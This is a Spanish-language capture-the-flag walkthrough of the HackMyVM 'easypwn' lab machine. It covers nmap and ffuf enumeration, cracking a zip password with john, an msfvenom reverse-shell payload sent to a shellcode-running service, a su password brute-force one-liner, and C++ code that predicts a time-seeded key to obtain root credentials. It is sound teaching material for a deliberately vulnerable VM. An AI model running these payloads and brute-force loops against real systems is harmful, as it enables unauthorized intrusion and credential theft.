Easypwn

Resolución de la maquina easypwn de la plataforma hackmyvm..

Primero, uso la herramienta arp-scan para enumerar los hosts activos en la LAN mediante el protocolo ARP y así localizar la IP de la máquina objetivo
Pasted image 20250608013114.png
como vemos la que termina en 57.3 es la máquina objetivo, en este caso fue sensillo ya que solo hay dos equipos .
Continuamos un escaneo más directo hacia el objetivo para ver que puertos tiene abierto con la herramienta nmap.
Pasted image 20250608013429.png
-p- : para decir que escanee los 65536 puertos
--open : nos lista solo los puertos abiertos
--min-rate : establecer la tasa mínima de envío de paquetes por segundo , como es un entorno controlado , lo hacemos con un número elevado
-Pn : indicamos que no queremos que realice ping
-n : indicamos que no queremos que realice resoluciones de nombres

y con eso vemos que estan el puerto 22, 80, 6666, ahora con otro escaneo, pero especificamente a esos puertos, para saber que servicios estan corriendo y que informacion podemos obtener. esto lo hacemos con los paremetros -sV y agregamos -sC para que lance un conjunto de scirpts de Nmap Scripting Engine (NSE)
Pasted image 20250608015232.png
esto nos devulve mucha informacion, veamos que hay corriendo en ese servidor apache
Pasted image 20250608015615.png
veamos que encontramos si le lanzamos una enumeracion de directorio con la herramienta ffuf y con el listado de directorios de seclist y agregando algunos extensiones
Pasted image 20250608020356.png
y con exito encontramos un archivo curioso, veamos que contiene
Pasted image 20250608020611.png
vemos que nos da algunas pistas, vemos que hay en esa direccion, y probamos el puert 6666
Pasted image 20250609015315.png
decidi guardar esa lista de palabras en un archivo y volvi a escanear la pagina para ver si aparecia algo nuevo...
Peek 2025-06-09 02-05.gif
obtuvimos un archivo zip, pero se encuentra con contraseña , veamos si podemos crackearlo con la herramienta john the ripper y Usamos el famoso diccionario rockyou , primero obtenemos el hash con zip2john:

└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oooooo           (a.zip/opt/server)     
1g 0:00:00:00 DONE (2025-06-09 01:26) 12.50g/s 51200p/s 51200c/s 51200C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ unzip a.zip
Archive:  a.zip
[a.zip] opt/server password: 
  inflating: opt/server              
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ ls          
a.zip  dic.txt  hash  opt  reports  servicio.txt
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn]
└─$ cd opt             
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/hackmyvm/easypwn/opt]
└─$ ls 
server

vemos que obtenemos un binario, lo analizamos con ghidra y le preguntamos a una ia para ver si nos ayuda a un poco
Pasted image 20250614012128.png
aparentemente lo que hace ese binario es un servidor que ejecuta shellcodes remotos, pero con un filtro basico de bytes..
Por lo que vamos a tener que generar una carga útil que evite esos bytes prohibidos, enviarlo al puerto 6666 y obtener una shell reversa, para ello vamos a utilizar la herramienta msfvenom

└─$ msfvenom -p linux/x64/shell_reverse_tcp lhost=192.168.57.2 lport=4444 -b '\x00\xf\\x20\x0f\xcd\x0a\x22\x09' -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Saved as: shellcode.bin

-p le indicamos que es un payload para sistemas linux de 64bit , que crea una rev shell tcp
lhost la ip de nuestra maquina
lport el puerto de nuestra maquina
-b lista de bytes prohibidos en formato hexadecimal
-f formato de salida del shellcode, en este caso tipo raw, osea un binario encrudo , para enviar directamente al servidor
-o le indicamos el nombre de un archivo de salida para que se genere

una ves generado el payload, nos ponemos a la escucha con nc , para luego mandar el payload al server y ...
Pasted image 20250614013719.png
Obtenemos una Shell en la máquina remota.
Indagamos un poco y vemos que hay un archivo que nos da una pista sobre un binario llamado getroot, por lo que lo vamos a pasar a la máquina local y lo analizaremos con ghidra a ver que pasa

└─$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.57.2] from (UNKNOWN) [192.168.57.3] 57692
ls
getroot
this_is_a_tips.txt
use3e3e3e3e3sr.txt
cat this_is_a_tips.txt
There is a fun tool called cupp.
I heard it's a good social engineering dictionary generator.
Are there really people that stupid these days? haha.
There is only one way to become ROOT, which is to execute getroot!!!
And don't forget, this is a PWN type machine.

有一个很好玩的工具叫做 cupp.
听说那是一个不错的社会工程学字典生成器.
现在真的还会有人这么蠢吗?haha.
成为 ROOT 的方法只有一条,就是执行 getroot !!!
而且你不要忘记了,这是一个pwn类型的机器.
whereis getroot
getroot: /usr/local/bin/getroot
nc -lvnp 1234 < /usr/local/bin/getroot
listening on [any] 1234 ...
connect to [192.168.57.3] from (UNKNOWN) [192.168.57.2] 45608


Pasted image 20250614162553.png

lo que nos dice nuestro amigo deepseek:

deepseek

Este programa parece ser un "mini desafío de autenticación" que verifica un número mágico (magic_number) pasado como argumento. Si el número es correcto, lee y muestra el contenido de un archivo (/root/cred)

despues de estar un rato viendo como poder implementar eso ,buscando ayuda en internet y revisando el sistema de archivo, encontre...

find 1.gif

según ese texto y la mención de la herramienta cupp para la generación de diccionarios, vamos a utilizar esos nombre para ver que sucede

ahora con el diccionario en mano, lo pasamos a la máquina remota y hacemos un ataque de fuerza bruta para ver si la contraseña se encuentra en dicho diccionario..
usamos este comando 'one-liner', recorremos el diccionario con un bucle for, ejecutamos en una subshell con una limitación de cada 0.1 segundos para cada intento, con echo le mandamos la contraseña como entrada estandar al comando su a travez del pipe, suprimimos la salida redireccionando tanto el stdout y stderr al archivo especial /dev/null, corroboramos si obtuvimos exitos con un if, que si su código de ejecución anterior fue exitoso (0) se muestra por pantalla la pass y se sale con el break.
for pass in $(cat dic.txt); do timeout 0.1 bash -c "echo '$pass' | su lamb " &>/dev/null; if [ $? -eq 0 ]; then echo "la pass es $pass";break; fi; done
y obtenemos que la pass correcta es ekaJ_2016

Verificamos y si ponemos correr algun comando como sudo

lamb@pwnding:~$ sudo -l
[sudo] password for lamb: 
Matching Defaults entries for lamb on pwnding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lamb may run the following commands on pwnding:
    (ALL : ALL) PASSWD: /usr/local/bin/getroot

Obtenemos ese binario que al parecer pide cierto número mágico

lamb@pwnding:~$ getroot
Usage: getroot <magic_number>

Lo analizamos con ghidra y vemos si chatgpt nos da una mano
Pasted image 20250808011710.png

obtenemos obtenemos el siguiente codigo que tiene este flujo

  1. Inicialización aleatoria:

    • srand(time(0)) asegura que cada ejecución genere números diferentes.
  2. Genera v21:

    • Un entero entre 0 y 86399 (equivale a segundos en 24 horas).
  3. Genera un valor con distribución normal:

    • Usa la función generate_normal_distribution().
  4. Calcula temp:

    • Multiplica el valor normal por 5, lo convierte a entero y le suma v21.

    • Ejemplo: Si normal_value = 1.2 → 5*1.2 = 6 → 6 + v21.

  5. Ajusta los límites de temp:

    • max(0, min(temp, 86399)) garantiza que temp esté entre 0 y 86399.
  6. Calcula la clave final:

    • key = temp + 12345 (offset fijo).
  7. Imprime la clave:

    • Ejemplo de salida: 98567.
#include <iostream>
#include <cmath>
#include <ctime>
#include <cstdlib>
#include <algorithm>

using namespace std;

double generate_normal_distribution() {
    
    double x = rand() / 2147483647.0; 
    double v3 = rand() / 2147483647.0;
    
    double v0 = log(x);          
    double v2 = sqrt(-2.0 * v0); 
    
    
    return cos(6.283185307179586 * v3) * v2;
}

int main() {
    srand(time(0)); 
    
    
    int v21 = rand() % 86400;
    
    
    double normal_value = generate_normal_distribution();
    
    
    int temp = static_cast<int>(5.0 * normal_value) + v21;
    temp = max(0, min(temp, 86399)); 
    int key = temp + 12345;          
    
    cout << key << endl;
    return 0;
}

lo compilamos y probamos

lamb@pwnding:~$ g++ -o num num.c -B /usr/bin/
lamb@pwnding:~$ /usr/local/bin/getroot 
Usage: /usr/local/bin/getroot <magic_number>
lamb@pwnding:~$ /usr/local/bin/getroot $(./num)
lamb@pwnding:~$ sudo /usr/local/bin/getroot $(./num)
$1$BvrTqWyB$Soa7qkeu1GfIoy2duf53t0

y con eso obtenemos las clave para iniciar sesion como root

lamb@pwnding:~$ su
Password: 
root@pwnding:/home/lamb# cd
root@pwnding:~# ls
cred  monitor.sh  ro0oo0ooo0oooo0oooo0ooo0oo0ot.txt
root@pwnding:~# whoami
root
root@pwnding:~# id
uid=0(root) gid=0(root) groups=0(root)

:LiActivity: :LiAirplay:
Pasted image 20250808014357.png